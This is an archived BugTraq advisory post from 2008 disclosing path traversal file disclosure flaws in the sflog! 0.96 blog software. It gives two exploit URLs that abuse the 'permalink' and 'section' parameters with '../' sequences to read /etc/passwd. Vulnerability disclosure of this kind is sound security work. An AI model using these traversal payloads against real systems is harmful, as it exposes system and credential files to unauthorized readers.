Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs
BugTraq
sflog! 0.96 remote file disclosure vulnerabilities Jan 31 2008 03:50PM
muuratsalo experimental hack lab (muuratsalo gmail com)
sflog! 0.96 remote file disclosure vulnerabilities

download http://sourceforge.net/projects/sflog/

author muuratsalo
contact muuratsalo[at]gmail.com

exploits
http://localhost/sflog/?blog=test&permalink=../../../../../../../../../.
./etc/passwd
http://localhost/sflog/index.php?blog=test&section=../../../../../../../
../../../etc/passwd

[ reply ]







 

Privacy Statement
Copyright 2009, SecurityFocus